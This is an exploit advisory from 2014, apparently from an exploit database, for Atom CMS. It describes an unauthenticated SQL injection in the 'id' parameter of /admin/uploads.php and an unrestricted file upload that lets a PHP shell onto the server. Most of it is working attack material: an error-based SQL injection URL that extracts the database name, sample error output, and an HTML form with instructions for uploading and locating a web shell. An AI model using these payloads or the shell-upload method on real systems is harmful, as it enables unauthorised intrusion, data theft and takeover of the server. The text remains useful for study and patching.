Atom CMS Shell Upload / SQL Injection

`##################################################################################################  
#Exploit Title : Atom CMS SQL Injection and file upload vulnerability  
#Author : Jagriti Sahu  
#Vendor : https://github.com/thedigicraft/Atom.CMS  
#Date : 07/07/2014  
#Discovered at : IndiShell Lab  
#Love to : Surbhi, Mradula and Harry  
##################################################################################################  
  
////////////////////////  
/// Overview:  
////////////////////////  
Atom CMS suffers from remote SQL injection and php shell   
uploadvulnerability.  
both vulnerabilities are of high risk, SQL injection will expose data   
stored in database whereas unrestricted file upload will cause php shell   
on server  
  
///////////////////////////////  
// Vulnerability Description:  
///////////////////////////////  
vulnerability is due to /admin/uploads.php file in which there is no   
check who is accessing it(this file is only for admin user but a guest   
user can also access it)  
parameter $_GET[ 'id' ] is not getting filtered before supplying its   
data to sql queries which arising sql injection exploit  
and avatar image upload code is not checking whether file is an image   
or other kind of file which leads to php shell upload  
  
  
///////////////////////  
/// exploit code ////  
///////////////////////  
  
  
SQL injection exploitation  
==========================  
  
http://127.0.0.1/acms/admin/uploads.php?id=1 and(select 1 FROM(select   
count(*),concat((select (select concat(database())) FROM   
information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM   
information_schema.tables GROUP BY x)a)  
  
in result you will get database name in last line of the message on the   
page  
  
UPDATE users SET avatar = '1404709440490.' WHERE id = 1 and(select 1   
FROM(select count(*),concat((select (select concat(database())) FROM   
information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM   
information_schema.tables GROUP BY x)a)  
Duplicate entry 'acms1' for key 'group_key'  
  
  
File upload exploitation  
==========================  
  
  
<form action="http://127.0.0.1/atom_cms/admin/uploads.php"   
method="post"  
enctype="multipart/form-data">  
<label for="file">Filename:</label>  
<input type="file" name="file" id="file"><br>  
<input type="submit" name="submit" value="exploit">  
</form>  
  
  
save this code on your machine as exploit.html  
open it with web browser  
brows your shell and click "exploit" button  
shell will be under directory  
  
http://127.0.0.1/atom_cms/uploads/  
  
/////////////////////  
end of exploit code  
////////////////////  
`